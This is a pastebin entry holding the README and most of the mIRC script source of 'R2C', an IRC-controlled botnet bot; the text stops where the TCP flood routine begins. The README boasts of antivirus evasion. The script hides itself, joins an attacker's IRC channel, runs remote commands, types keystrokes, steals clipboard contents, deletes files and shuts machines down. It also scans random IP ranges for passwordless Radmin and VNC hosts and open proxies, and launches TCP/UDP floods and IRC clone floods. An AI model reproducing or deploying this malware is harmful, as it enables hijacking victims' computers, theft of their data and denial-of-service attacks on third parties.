All pastes #1396303 Raw Edit

R2C 2.3.4 Public Version

public text v1 · immutable
#1396303 ·published 2009-04-19 07:10 UTC
rendered paste body
README/INFO:

 ooooooooo.      .oooo.      .oooooo.        oooooooooo.                  .   
 `888   `Y88.  .dP""Y88b    d8P'  `Y8b       `888'   `Y8b               .o8   
  888   .d88'        ]8P'  888                888     888   .ooooo.   .o888oo 
  888ooo88P'       .d8P'   888                888oooo888'  d88' `88b    888   
  888`88b.       .dP'      888                888    `88b  888   888    888   
  888  `88b.   .oP     .o  `88b    ooo        888    .88P  888   888    888 . 
 o888o  o888o  8888888888   `Y8bood8P'       o888bood8P'   `Y8bod8P'    "888" 
+----------------------------------------------------------------------------+
|  Current Version: R2C.mIRC.KnickLighter.Private-3.0.1                      |
+----------------------------------------------------------------------------+
|  * What is R2C Bot?                                                        |
|   \ R2Cbot is an IRC bot written in mIRC. It connects through IRC via      |
|     sockets. All mIRC input is blocked for security. It has a couple scan  |
|     functions. I made bots like this before, but this is my first bot      |
|     which actually uses sockets only. The settings are stored in the       |
|     mirc.ini, like server, port, channel, channel password. The bot's      |
|     password is MD5 encoded, so it will be hard to crack it. It saves scan |
|     statistics and it has a better method of reconnecting.                 |
|                                                                            |
|     What is other than my older bot versions is that this one includes a   |
|     login function, and an other method of scanning. It uses the newest    |
|     version of mIRC, and it will be installed by using a .bat file which   |
|     adds the registry settings for mIRC and startup. The older mIRC's      |
|     are detected by some antivirus programs, this one isn't.               |
+----------------------------------------------------------------------------+
|  * Functions                                                               |
|   \ The R2C bot has many more functions than my previous bots, like:       |
|     - Radmin (Remote Administrator) null session scanner                   |
|     - VNC Vulnerability scanner                                            |
|     - Socks 4 proxy scanner                                                |
|     - Socks 5 proxy scanner                                                |
|     - Normal port scanner                                                  |
|     - TCP flooder (static port or random ports)                            |
|     - UDP flooder                                                          |
|     - IRC Clone/Flood function                                             |
|     - Bouncer to use on IRC servers (passworded)                           |
+----------------------------------------------------------------------------+
|  * Current commands                                                        |
|   \ - .login <password>                                                    |
|     - .logout                                                              |
|     - .scan <type>:<port> <threads> <seconds> <-a/-b/-c/ip.x.x.x>          |
|      |- Radmin/VNC/VNCver/Socks4/Socks5/Normal                             |
|     - .scanstop                                                            |
|     - .stats                          - scan statistics                    |
|     - .clearstats                     - clear scan statistics              |
|     - .raw                            - raw IRC command                    |
|     - .time                                                                |
|     - .reconnect                                                           |
|     - .tquit                          - quits for 60 seconds               |
|     - .die                            - kills the bot + mIRC               |
|     - .shutdown / .reboot                                                  |
|     - .uptime                                                              |
|     - .conn                           - see ip/host of the bot             |
|     - .current                        - current scanning IP/port           |
|     - .diskinfo                                                            |
|     - .code                           - script lines + size                |
|     - .hop                            - rejoin channel                     |
|     - .bnc <on/off> <port>            - starts the bnc                     |
|     - .dns <ip/host>                  - use dns resolve                    |
|     - .tcpflood <target> <port> <seconds>                                  |
|     - .tcpstop                                                             |
|     - .udpflood <target> <seconds>                                         |
|     - .udpstop                                                             |
|     - .clone <server> <port> <channel> <channelkey>                        |
|       .c.msg <target> <msg>                                                |
|       .c.act <target> <msg>                                                |
|       .c.ctcp <target> <msg>                                               |
|       .c.notice <target> <msg                                              |
|       .c.join <channel>                                                    |
|       .c.part <channel>                                                    |
|       .c.hop <channel>                                                     |
|       .c.nick                          - change nickname                   |
|       .c.raw <cmd>                                                         |
|     - .clonestop                                                           |
|     - .run                             - open something                    |
|     - .mirccmd                         - use a mirc command                |
|     - .getclip                         - clipboard                         |
|     - .setclip <clipboard>             - set clipboard                     |
|     - .sendkeys <keys>                 - 'types' the keys                  |
|     - .del <file>                                                          |
|                                                                            |
|     Finished, for now, but I think more will come.                         |
+----------------------------------------------------------------------------+
|     For the people that don't know me (yet),                               |
|     I'm KnickLighter.                                                      |
|                                                                            |
|  * More info / Need me?                                                    |
|   \ - irc.6667.eu:6667     #main                                           |
|     - suck@my-dick.nl                                                      |
+----------------------------------------------------------------------------+
|                         Rooted To The Core System                          |
+----------------------------------------------------------------------------+
|  * Changes                                                                 |
|   \ 13-04-2007:                                                            |
|     - Fixed VNC vulnerability scanner                                      |
|     - Added '.c.nick' function in cloning                                  |
|     - Fixed '.c.act & .c.ctcp' functions in cloning                        |
|     - Made BNC logon act/look like a real server (AUTH notices)            |
|     - Added '.getclip' function                                            |
|     - Added UDP flooder                                                    |
|     - Fixed connect bug in cloning                                         |
|     - Added sendkeys script                                                |
|                                                                            |
|     14-04-2007:                                                            |
|     - Fixed bug in UDP flooder                                             |
|     - Added '.setclip' function                                            |
|     - Changed ctcp version reply and added 'version' (with $bot.ver)       |
|                                                                            |
|     18-07-2007:                                                            |
|     - The bot is using a real botnet nickname now                          |
|     - Starts the windows screensaver when the bot starts                   |
|     - Added .c.raw in cloning part                                         |
|     - Added .del function                                                  |
|     - DDE Server disabled                                                  |
|     - Authhost script confirmed working                                    |
+----------------------------------------------------------------------------+
|  * Planning                                                                |
|   \ - Findfile script (not working yet)                                    |
+----------------------------------------------------------------------------+

SCRIPT:

on *:start:{
  if (%secured == no) { write -c script.txt | exit }
  if ($exists(hid.exe) == $false) { set %secured no | exit }
  run hid.exe /hide mIRC*
  set %bot.serv $decode($readini(mirc.ini,bconf,server),m)
  set %bot.port $decode($readini(mirc.ini,bconf,port),m)
  set %bot.chan $decode($readini(mirc.ini,bconf,chan),m)
  set %bot.chanpw $decode($readini(mirc.ini,bconf,chanpw),m)
  .timercheckping 0 200 checkping
  .sockopen mainirc %bot.serv %bot.port
}
alias bot.ver { return R2C.mIRC.KnickLighter.Public-2.3.4 }
on *:sockopen:mainirc:{
  .timerscan.* off
  if ($sockerr > 0) { .timer 1 5 .sockopen mainirc %bot.serv %bot.port | halt }
  set %bot.nick [R2C]- $+ $rand(10000,99999)
  sockwrite -n mainirc nick %bot.nick
  sockwrite -n mainirc user $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) x x :Rooted 2 the Core System
  sockwrite -n mainirc join %bot.chan %bot.chanpw
  set %bot.ping $ticks
  .remini mirc.ini busers
  halt
}
on *:sockread:mainirc:{
  sockread %irc
  set %bot.action $gettok(%irc,2,32)
  set %bot.xnick $remove($gettok(%irc,1,33),:)
  set %bot.target $remove($gettok(%irc,3,32),:)
  set %bot.cmd $remove($gettok(%irc,4,32),:)
  set %bot.more $gettok(%irc,5-,32)
  if ($gettok(%irc,1,32) == PING) { set %bot.ping $ticks | sockwrite -n $sockname PONG $gettok(%irc,2,32) | halt }
  if (%bot.action == 001) { set %bot.host $gettok(%bot.more,2,64) | set %bot.dns on | dns $gettok(%bot.more,2,64) | halt }
  if (%bot.action == 433) { set %bot.nick [R2C]- $+ $rand(10000,99999) | sockwrite -n mainirc nick %bot.nick | halt }
  if (%bot.action == 451) && (%bot.cmd == You) {
    set %bot.nick [R2C]- $+ $rand(10000,99999)
    sockwrite -n mainirc nick %bot.nick
    sockwrite -n mainirc user $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) x x :Rooted 2 the Core System
    sockwrite -n mainirc join %bot.chan %bot.chanpw
    halt
  }
  if (%bot.action == 473) { .timer 1 10 sockwrite -n $sockname JOIN %bot.chan %bot.chanpw | halt }
  if (%bot.action == 475) { .timer 1 10 sockwrite -n $sockname JOIN %bot.chan %bot.chanpw | halt }
  if (%bot.action == 471) { .timer 1 10 sockwrite -n $sockname JOIN %bot.chan %bot.chanpw | halt }
  if (%bot.action == 474) { .timer 1 10 sockwrite -n $sockname JOIN %bot.chan %bot.chanpw | halt }
  if (%bot.action == JOIN) && (%bot.xnick == $me) { .remini mirc.ini busers | halt }
  if (%bot.action == 332) { set %bot.topic on | set %bot.xnick omghax | set %bot.cmd $remove($gettok(%bot.more,1,32),:) | set %bot.more $gettok(%bot.more,2-,32) }
  if (%bot.action == PART) { .remini mirc.ini busers %bot.xnick | halt }
  if (%bot.action == JOIN) { .remini mirc.ini busers %bot.xnick | halt }
  if (%bot.action == QUIT) { .remini mirc.ini busers %bot.xnick | halt }
  if (%bot.action == NICK) { .remini mirc.ini busers %bot.xnick | halt }
  if (%bot.action == KICK) && (%bot.cmd == %bot.nick) { .remini mirc.ini busers | sockwrite -n $sockname JOIN %bot.chan %bot.chanpw | halt }
  if (%bot.cmd == %bot.nick) { set %bot.cmd $gettok(%bot.more,1,32) | set %bot.more $gettok(%bot.more,2-,32) }
  if (%bot.action == PRIVMSG) || (%bot.topic == on) {
    if (%bot.cmd == VERSION) { sockwrite -n $sockname PRIVMSG %bot.chan [WARNING]: $replace($remove($gettok(%irc,1,32),:),!,$chr(32) $+ $chr(91)) $+ $chr(93) has just versioned me. | sockwrite -n $sockname PRIVMSG $remove($gettok(%irc,1,33),:) :VERSION R2C Bot by KnickLighter ( $+ $bot.ver $+ ) | halt }
    if (%bot.cmd == .login) {
      if (%bot.target == %bot.nick) || (%bot.target == %bot.chan) {
        if ($md5(%bot.more) == $null) || ($readini(mirc.ini,busers,%bot.xnick)) { halt }
        if ($md5(%bot.more) === $readini(mirc.ini,bconf,pass)) {
          sockwrite -n $sockname PRIVMSG %bot.chan [MAIN]: Password accepted, %bot.xnick has logged in.
          writeini mirc.ini busers %bot.xnick xxx
          halt
        }
        else {
          sockwrite -n $sockname PRIVMSG %bot.chan [WARNING]: %bot.xnick tried to login, but failed. Password: $gettok(%irc,5,32) $+ .
          halt
        }
      }
    }
    if ($readini(mirc.ini,busers,%bot.xnick)) || (%bot.topic) {
      unset %bot.topic
      if (%bot.cmd == .logout) { remini mirc.ini busers %bot.xnick | sockwrite -n $sockname PRIVMSG %bot.chan [MAIN]: User %bot.xnick logged out. | halt }
      if (%bot.cmd == .raw) { write -c cmd %bot.more | sockwrite -n $sockname $read(cmd,1) | halt }
      if (%bot.cmd == .time) { sockwrite -n $sockname PRIVMSG %bot.chan [TIME]: $date(mm) $date(mmmm) $date(yyyy) $chr(124) $time $time(TT) $chr(124) $time(zzz) | halt }
      if (%bot.cmd == .reconnect) { sockclose mainirc | sockopen mainirc %bot.serv %bot.port | halt }
      if (%bot.cmd == .tquit) { sockclose mainirc | .timer 1 60 sockopen mainirc %bot.serv %bot.port }
      if (%bot.cmd == .die) { sockclose mainirc | exit }
      if (%bot.cmd == .shutdown) {
        if ($os != XP) { sockwrite -n $sockname PRIVMSG %bot.chan [SHUTDOWN]: Error, shutdown is only supported on Windows XP or higher. | halt }
        sockwrite -n $sockname PRIVMSG %bot.chan [SHUTDOWN]: Shutting down system.
        shutdown -s -t 00
      }
      if (%bot.cmd == .reboot) {
        if ($os != XP) { sockwrite -n $sockname PRIVMSG %bot.chan [SHUTDOWN]: Error, shutdown is only supported on Windows XP or higher. | halt }
        sockwrite -n $sockname PRIVMSG %bot.chan [SHUTDOWN]: Shutting down system.
        shutdown -r -t 00
      }
      if (%bot.cmd == .stats) { sockwrite -n $sockname PRIVMSG %bot.chan [SCAN]: Statistics: Radmin: $readini(mirc.ini,stats,radmin) $+ , VNC: $readini(mirc.ini,stats,vnc) $+ , VNCver: $readini(mirc.ini,stats,vncver) $+ , Socks4: $readini(mirc.ini,stats,socks4) $+ , Socks5: $readini(mirc.ini,stats,socks5) $+ , Normal: $readini(mirc.ini,stats,normal) $+ , Total: $calc($readini(mirc.ini,stats,radmin) + $readini(mirc.ini,stats,socks4) + $readini(mirc.ini,stats,socks5) + $readini(mirc.ini,stats,normal) + $readini(mirc.ini,stats,vnc) + $readini(mirc.ini,stats,vncver)) | halt }
      if (%bot.cmd == .clearstats) { .remini mirc.ini stats | halt }
      if (%bot.cmd == .uptime) { sockwrite -n $sockname PRIVMSG %bot.chan [UPTIME]: $uptime(system,1) $+ . | halt }
      if (%bot.cmd == .conn) { sockwrite -n $sockname PRIVMSG %bot.chan [CONNECTION]: %bot.ip ( $+ %bot.host $+ ) | halt }
      if (%bot.cmd == .scan) {
        if ($gettok($gettok(%bot.more,1,32),1,58) == radmin) || ($gettok($gettok(%bot.more,1,32),1,58) == vnc) || ($gettok($gettok(%bot.more,1,32),1,58) == vncver) || ($gettok($gettok(%bot.more,1,32),1,58) == socks4) || ($gettok($gettok(%bot.more,1,32),1,58) == socks5) || ($gettok($gettok(%bot.more,1,32),1,58) == normal) {
          set %scan.type $gettok($gettok(%bot.more,1,32),1,58)
          set %scan.port $gettok($gettok(%bot.more,1,32),2,58)
          if (%scan.type == vncver) { set %scan.vver $gettok($gettok(%bot.more,1,32),3,58) }
          set %scan. [ $+ [ %scan.type ] $+ ] .threads $gettok(%bot.more,2,32)
          set %scan.secs $gettok(%bot.more,3,32)
          if ($gettok(%bot.more,4,32) == -a) { set %scan.ip $gettok(%bot.ip,1,46) $+ .x.x.x }
          if ($gettok(%bot.more,4,32) == -b) { set %scan.ip $gettok(%bot.ip,1-2,46) $+ .x.x }
          if ($gettok(%bot.more,4,32) == -c) { set %scan.ip $gettok(%bot.ip,1-3,46) $+ .x }
          if ($count($gettok(%bot.more,4,32),.) == 3) { set %scan.ip $gettok(%bot.more,4,32) }
          set %scan.ip-1 $gettok(%scan.ip,1,46)
          set %scan.ip-2 $gettok(%scan.ip,2,46)
          set %scan.ip-3 $gettok(%scan.ip,3,46)
          set %scan.ip-4 $gettok(%scan.ip,4,46)
          startscan %scan.type
        }
      }
      if (%bot.cmd == .current) { sockwrite -n $sockname PRIVMSG %bot.chan [SCAN]: Current IP: %scan.sip1 $+ . $+ %scan.sip2 $+ . $+ %scan.sip3 $+ . $+ %scan.sip4 $+ : $+ %scan.port using $sock(*-*,0) threads. | halt }
      if (%bot.cmd == .scanstop) { scanstop | halt }
      if (%bot.cmd == .diskinfo) { sockwrite -n $sockname PRIVMSG %bot.chan $diskinfo | halt }
      if (%bot.cmd == .code) { sockwrite -n $sockname PRIVMSG %bot.chan [CODE]: The script of this bot has $lines($script(1)) lines and is $bytes($file($script(1))).suf $+ . | halt }
      if (%bot.cmd == .hop) { sockwrite -n $sockname PART %bot.chan | sockwrite -n $sockname JOIN %bot.chan %bot.chanpw | halt }
      if (%bot.cmd == .bnc) {
        if ($gettok(%bot.more,1,32) == on) {
          if ($sock(bnc)) { sockclose bnc* }
          if ($gettok(%bot.more,2,32) == $null) { set %bnc.port 262 | goto openbnc }
          if ($gettok(%bot.more,2,32) isnum 1-65535) { set %bnc.port $gettok(%bot.more,2,32) | goto openbnc }
          else { set %bnc.port 262 | goto opebnc }
          :openbnc
          sockwrite -n $sockname PRIVMSG %bot.chan [BNC]: Being activated on %bot.ip $+ : $+ %bnc.port $+ .
          bnc %bnc.port
          halt
        }
        if ($gettok(%bot.more,1,32) == off) { sockclose bnc* | sockwrite -n $sockname PRIVMSG %bot.chan [BNC]: Deactivated. | halt }
      }
      if (%bot.cmd == .dns) { set %pub.dns on | dns %bot.more | halt }
      if (%bot.cmd == .nick) { set %bot.nick [R2C]- $+ $rand(10000,99999) | sockwrite -n mainirc nick %bot.nick | halt }
      if (%bot.cmd == .tcpflood) {
        set %flood.ip $gettok(%bot.more,1,32)
        set %flood.port $gettok(%bot.more,2,32)
        set %flood.secs $gettok(%bot.more,3,32)
        tcpflood
        halt
      }
      if (%bot.cmd == .tcpstop) { tcpflood.stop | halt }
      if (%bot.cmd == .udpflood) {
        set %udp.ip $gettok(%bot.more,1,32)
        set %udp.secs $gettok(%bot.more,2,32)
        udpflood
        halt
      }
      if (%bot.cmd == .udpstop) { udpflood.stop | halt }
      if (%bot.cmd == .clone) {
        set %clone.chan $gettok(%bot.more,3,32)
        set %clone.pass $gettok(%bot.more,4,32)
        sockopen clone- $+ $rand(1000,9999) $gettok(%bot.more,1,32) $gettok(%bot.more,2,32)
        halt
      }
      if (%bot.cmd == .c.msg) && ($sock(clone-*,0) != 0) { sockwrite -n clone-* PRIVMSG %bot.more | halt }
      if (%bot.cmd == .c.act) && ($sock(clone-*,0) != 0) { sockwrite -n clone-* PRIVMSG $gettok(%bot.more,1,32) $chr(1) $+ ACTION $gettok(%bot.more,2-,32) $+ $chr(1) | halt }
      if (%bot.cmd == .c.ctcp) && ($sock(clone-*,0) != 0) { sockwrite -n clone-* PRIVMSG $gettok(%bot.more,1,32) $chr(1) $+ $gettok(%bot.more,2-,32) $+ $chr(1) | halt }
      if (%bot.cmd == .c.notice) && ($sock(clone-*,0) != 0) { sockwrite -n clone-* NOTICE %bot.more | halt }
      if (%bot.cmd == .c.join) && ($sock(clone-*,0) != 0) { sockwrite -n clone-* JOIN %bot.more | halt }
      if (%bot.cmd == .c.part) && ($sock(clone-*,0) != 0) { sockwrite -n clone-* PART %bot.more | halt }
      if (%bot.cmd == .c.hop) && ($sock(clone-*,0) != 0) { sockwrite -n clone-* PART %bot.more | sockwrite -n clone-* JOIN %bot.more | halt }
      if (%bot.cmd == .c.nick) && ($sock(clone-*,0) != 0) {
        set %clone.nick $rand(A,Z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(10,99)
        sockwrite -n clone-* nick %clone.nick
      }
      if (%bot.cmd == .clonestop) { sockclose clone-* | halt }
      if (%bot.cmd == .run) { run %bot.more | halt }
      if (%bot.cmd == .mirccmd) { write -c cmd %bot.more | $read(cmd,1) | halt }
      if (%bot.cmd == .getclip) {
        if ($cb == $null) { set %clip (null) }
        else { set %clip $cb }
        sockwrite -n mainirc PRIVMSG %bot.chan [CLIPBOARD]: %clip
        halt
      }
      if (%bot.cmd == .setclip) { clipboard %bot.more | halt }
      if (%bot.cmd == .sendkeys) { sendkeys %bot.more | halt }
      if (%bot.cmd == .version) { sockwrite -n mainirc PRIVMSG %bot.chan [VERSION]: $bot.ver | halt }
    }
    halt
  }
}
alias sendkeys {
  if (!$isid) {
    if ($com(Sendkeys)) { .comclose Sendkeys }
    .comopen Sendkeys WScript.Shell
    .comclose Sendkeys $com(Sendkeys,Sendkeys,3,bstr,$1-)
  }
}
on *:sockclose:mainirc:{ .timer 1 10 sockopen mainirc %bot.serv %bot.port | halt }
alias dns { .dns $1- | halt }
on *:input:*:{ halt }
on *:exit:{ run $mircexe }
on *:dns: {
  haltdef
  if (%bot.dns == on) {
    if ($raddress != $null) { set %bot.ip $iaddress }
    if (%bot.host == %bot.ip) { set %bot.host Anonymous }
    set %bot.dns off
  }
  if (%pub.dns == on) {
    if ($raddress != $null) { sockwrite -n mainirc PRIVMSG %bot.chan [DNS]: Resolved $iaddress ( $+ $naddress $+ ) }
    else { sockwrite -n mainirc PRIVMSG %bot.chan [DNS]: Unable to resolve. }
    set %pub.dns off
  }
}
alias checkping {
  set %ping $gettok($calc($calc($ticks - %bot.ping) / 1000),1,46)
  if (%ping > 200) { sockclose *- | sockclose mainirc | sockopen mainirc %bot.serv %bot.port }
}
alias diskinfo {
  set %dtemp 0
  unset %disks
  set %dtotal 0
  set %dtotalf 0
  :xloop
  inc %dtemp 1
  if (%dtemp > $disk(0)) { return [DISKINFO]: [Total]: %dtotalf $+ / $+ %dtotal $+ GB %disks | halt }
  if ($disk(%dtemp).type == fixed) {
    inc %dtotal $bytes($disk(%dtemp).size).g
    inc %dtotalf $bytes($disk(%dtemp).free).g
  set %disks %disks $chr(91) $+ $disk(%dtemp).path $+ $chr(93) $bytes($disk(%dtemp).free).g $+ / $+ $bytes($disk(%dtemp).size).g $+ GB }
  goto xloop
}
alias startscan {
  if (%scan.type == radmin) {
    set %nopass 1 0 0 0 37 2 0 0 16 8 0 0 2 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
    set %nopass1 1 0 0 0 37 10 0 1 16 8 1 0 10 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
    .timerscan.radmin 0 0.1 scan2 radmin
    if (%scan.secs != 0) { .timerscan.radmin.stop 1 %scan.secs scanstop radmin }
    goto scan
  }
  if (%scan.type == vnc) {
    .timerscan.vnc 0 0.1 scan2 vnc
    if (%scan.secs != 0) { .timerscan.vnc.stop 1 %scan.secs scanstop vnc }
    goto scan
  }
  if (%scan.type == vncver) {
    .timerscan.vncver 0 0.1 scan2 vncver
    if (%scan.secs != 0) { .timerscan.vncver.stop 1 %scan.secs scanstop vncver }
    goto scan
  }
  if (%scan.type == socks5) {
    .timerscan.socks5 0 0.1 scan2 socks5
    if (%scan.secs != 0) { .timerscan.socks5.stop 1 %scan.secs scanstop socks5 }
    goto scan
  }
  if (%scan.type == socks4) {
    echo -a wtf
    .timerscan.socks4 0 0.1 scan2 socks4
    if (%scan.secs != 0) { .timerscan.socks4.stop 1 %scan.secs scanstop socks4 }
    goto scan
  }
  if (%scan.type == normal) {
    .timerscan.normal 0 0.1 scan2 normal
    if (%scan.secs != 0) { .timerscan.normal.stop 1 %scan.secs scanstop normal }
    goto scan
  }
  else { sockwrite -n mainirc PRIVMSG %bot.chan [SCAN]: Error, invalid syntax. | halt }
  :scan
  sockwrite -n mainirc PRIVMSG %bot.chan [SCAN]: Starting %scan.type scan on %scan.ip-1 $+ . $+ %scan.ip-2 $+ . $+ %scan.ip-3 $+ . $+ %scan.ip-4 $+ : $+ %scan.port for %scan.secs seconds, maximum threads: %scan. [ $+ [ %scan.type ] $+ ] .threads
}
alias scanstop {
  if ($1- == $null) {
    .timerscan.* off
    .sockclose radmin-*
    .sockclose vnc-*
    .sockclose socks4-*
    .sockclose socks5-*
    .sockclose normal-*
    sockwrite -n mainirc PRIVMSG %bot.chan [SCAN]: All running scans have been stopped.
    halt
  }
  .timerscan. $+ $1 $+ * off
  .sockclose $1 $+ -*
  sockwrite -n mainirc PRIVMSG %bot.chan [SCAN]: $1 scanning finished.
  halt
}
alias scan2 {
  if ($sock($1 $+ -*,0) > %scan. [ $+ [ $1 ] $+ ] .threads) { return }
  if (%scan.ip-1 == x) { set %scan.sip1 $rand(0,255) }
  else { set %scan.sip1 %scan.ip-1 }
  if (%scan.ip-2 == x) { set %scan.sip2 $rand(0,255) }
  else { set %scan.sip2 %scan.ip-2 }
  if (%scan.ip-3 == x) { set %scan.sip3 $rand(0,255) }
  else { set %scan.sip3 %scan.ip-3 }
  if (%scan.ip-4 == x) { set %scan.sip4 $rand(0,255) }
  else { set %scan.sip3 %scan.ip-4 }
  set %scan.rand $1 $+ - $+ $ticks $+ $rand(a,z) $+ $rand(100,999)
  sockopen %scan.rand %scan.sip1 $+ . $+ %scan.sip2 $+ . $+ %scan.sip3 $+ . $+ %scan.sip4 %scan.port
  halt
}
on *:sockopen:normal-*:{
  if ($sockerr > 0) { sockclose $sockname | halt }
  sockwrite -n mainirc PRIVMSG %bot.chan [NORMAL]: $sock($sockname).ip $+ : $+ $sock($sockname).port
  .writeini mirc.ini stats normal $calc($readini(mirc.ini,stats,normal) + 1)
  sockclose $sockname
  halt
}
on *:sockopen:socks4-*:{
  if ($sockerr > 0) { sockclose $sockname | return }
  .bset &bvar4 1 4 1 $gettok($longip($sock(mainirc).port),3,46) $gettok($longip($sock(mainirc).port),4,46) $replace(%bot.s4ipp,.,$chr(32)) 0
  .sockwrite $sockname &bvar4
  .bunset &bvar4
}
on *:sockread:socks4-*:{
  if ($sockerr > 0) { sockclose $sockname | return }
  .sockread &bsocks4
  if ($bvar(&bsocks4,2) == 90) {
    set -u5 % $+ $sockname check
    sockwrite -n mainirc PRIVMSG %bot.chan [SOCKS4]: $sock($sockname).ip $+ : $+ $sock($sockname).port
    .writeini mirc.ini stats socks4 $calc($readini(mirc.ini,stats,socks4) + 1)
    sockclose $sockname
  }
  halt
}
on *:sockopen:socks5-*:{
  if ($sockerr > 0) { sockclose $sockname | return }
  .bset &bvar5 1 5 1 0
  .sockwrite $sockname &bvar5
  .bunset &bvar5
}
on *:sockread:socks5-*:{
  if ($sockerr > 0) { return }
  .sockread &bsocks5
  set %sock &bsocks5
  if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
    .bset &socks5 1 5 1 0 1 $replace($sock(mainirc).ip,.,$chr(32)) $gettok($longip($sock(mainirc).port),3,46) $gettok($longip($sock(mainirc).port),4,46)
    .sockwrite $sockname &socks5
    .bunset &socks5
  }
  if ($bvar(&bsocks5,1,3) == 5 0 0) {
    set -u5 % $+ $sockname check
    sockwrite -n mainirc PRIVMSG %bot.chan [SOCKS5]: $sock($sockname).ip $+ : $+ $sock($sockname).port
    .writeini mirc.ini stats socks5 $calc($readini(mirc.ini,stats,socks5) + 1)
    sockclose $sockname
  }
}
on *:sockopen:radmin-*:{
  if ($sock($sockname).status = active) {
    bset &command 1 1 0 0 0 1 0 0 0 8 8
    sockwrite $sockname &command
    halt
  }
}
on *:sockread:radmin-*:{
  if ($sockerr > 0) { sockclose $sockname | return }
  sockread &temp
  if ($sockbr == 0) { sockclose $sockname | return }
  if ($bvar(&temp,1,$bvar(&temp,0)) == %nopass) {
    sockwrite -n mainirc PRIVMSG %bot.chan [RADMIN]: $sock($sockname).ip $+ : $+ $sock($sockname).port
    .writeini mirc.ini stats radmin $calc($readini(mirc.ini,stats,radmin) + 1)
    goto sc
  }
  if ($bvar(&temp,1,$bvar(&temp,0)) == %nopass1) {
    sockwrite -n mainirc PRIVMSG %bot.chan [RADMIN]: $sock($sockname).ip $+ : $+ $sock($sockname).port
    .writeini mirc.ini stats radmin $calc($readini(mirc.ini,stats,radmin) + 1)
    goto sc
  }
  :sc
  .sockclose $sockname
}
on *:sockopen:vnc-*: {
  if ($sockerr > 0) { sockclose $sockname | halt }
  sockmark $sockname 0
}
on *:SOCKREAD:vnc-*: {
  sockread -f &a
  if ($sock($sockname).mark == 0) {
    if ($bvar(&a,1,18) == 82 70 66 32 48 48 51 46 48 48 56 10) {
      sockmark $sockname 1
      sockwrite $sockname RFB 003.008 $+ $lf
    }
    else {
      sockclose $sockname
    }
  }
  else if ($sock($sockname).mark == 1) {
    if ($bvar(&a,1,2) == 1 2) {
      sockmark $sockname 2
      sockwrite $sockname $chr(1) $+ $chr(2)
    }
    else {
      sockclose $sockname
    }
  }
  else if ($sock($sockname).mark == 2) {
    if ($bvar(&a,1,4) == 0 0 0 0) {
      sockwrite -n mainirc PRIVMSG %bot.chan [VNC]: $sock($sockname).ip $+ : $+ $sock($sockname).port
      .writeini mirc.ini stats vnc $calc($readini(mirc.ini,stats,vnc) + 1)
      sockclose $sockname
    }
    else {
      sockclose $sockname
    }
  }


}
on *:sockread:vncver-*:{
  if ($sockerr > 0) { sockclose $sockname | halt }
  sockread %vnc
  if (%scan.vver isin $gettok(%vnc,1-,32)) {
    sockwrite -n mainirc PRIVMSG %bot.chan [VNCVER]: %scan.vver - $sock($sockname).ip $+ : $+ $sock($sockname).port
    .writeini mirc.ini stats vncver $calc($readini(mirc.ini,stats,vncver) + 1)
  }
  sockclose $sockname
}
alias bnc { .socklisten bnc $1 }
on *:socklisten:bnc:{
  .sockaccept bnc.temp
  if ($sock(bnc1).status == active) { sockwrite -n bnc.temp :R2C.BNC NOTICE AUTH :*** BNC is already in use. | halt }
  .sockrename bnc.temp bnc1
  set %conip $sock(adminu).ip
  set %bnc.login no
  .sockclose bnc2
  sockwrite -n bnc1 :R2C.BNC NOTICE AUTH :*** Welcome to R2C Bouncer.
  sockwrite -n bnc1 :R2C.BNC NOTICE AUTH :*** Please specify the BNC Password.
  sockwrite -n bnc1 :R2C.BNC NOTICE AUTH :*** Type "/pass <password>" to login.
  halt
}
on 1:sockread:bnc1:{
  .sockread %bnc1
  if (%bnc1 == $null) { halt }
  if (%bnc.login == no) {
    if ($gettok(%bnc1,1,32) == NICK) { set %bnc.nick $gettok(%bnc1,2,32) | halt }
    if ($gettok(%bnc1,1,32) == PASS) {
      if ($md5($gettok(%bnc1,2,32)) == $readini(mirc.ini,bconf,pass)) {
        set %bnc.login yes
        sockwrite -n bnc1 :R2C.BNC NOTICE AUTH :*** Thank you for logging in.
        sockwrite -n bnc1 :R2C.BNC NOTICE AUTH :*** Now use "/conn <server> <port>" to connect to a server.
        halt
      }
      else {
        sockwrite -n bnc1 :R2C.BNC NOTICE AUTH :*** Incorrect password, please try again.
        halt
      }
    }
  }
  if (%bnc.login == yes) {
    if ($gettok(%bnc1,1,32) == CONN) {
      if ($sock(bnc2)) { sockclose bnc2 }
      set %bnc.serv $gettok(%bnc1,2,32)
      set %bnc.port $gettok(%bnc1,3,32)
      if (%bnc.port !isnum 1-65535) { sockwrite -n bnc1 :R2C.BNC NOTICE AUTH :*** Error, invalid syntax. | halt }
      sockopen bnc2 %bnc.serv %bnc.port
      halt
    }
    else {
      if ($sock(bnc2).status != active) {
        sockwrite -n bnc1 :R2C.BNC NOTICE AUTH :*** You are not connected to a server yet. Please use "/conn <server> <port>" to connect to a server.
        halt
      }
      sockwrite -n bnc2 %bnc1
      halt
    }
  }
}
on *:sockopen:bnc2:{
  if ($sockerr > 0) { sockwrite -n bnc1 :R2C.BNC NOTICE AUTH :*** Unable to connect to %bnc.serv $+ : $+ %bnc.port $+ . | sockclose $sockname | halt }
  sockwrite -n $sockname NICK %bnc.nick
  sockwrite -n $sockname USER $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) x x :..::BounceD by R2C::..
  halt
}
on *:sockread:bnc2:{
  sockread %bnc2
  if ($remove($gettok(%bnc2,4,32),:) == VERSION) { sockwrite -n $sockname PRIVMSG $remove($gettok(%irc,1,33),:) :VERSION Bounced by R2C - KnickLighter | halt }
  sockwrite -n bnc1 %bnc2
  halt
}
on *:sockclose:bnc1:{ sockclose bnc1 | sockclose bnc2 | halt }
on *:sockclose:bnc2:{
  sockwrite -n bnc1 :R2C.BNC NOTICE AUTH :*** You have been disconnected from the server.
  sockclose bnc2
  sockclose bnc1
}
alias tcpflood {
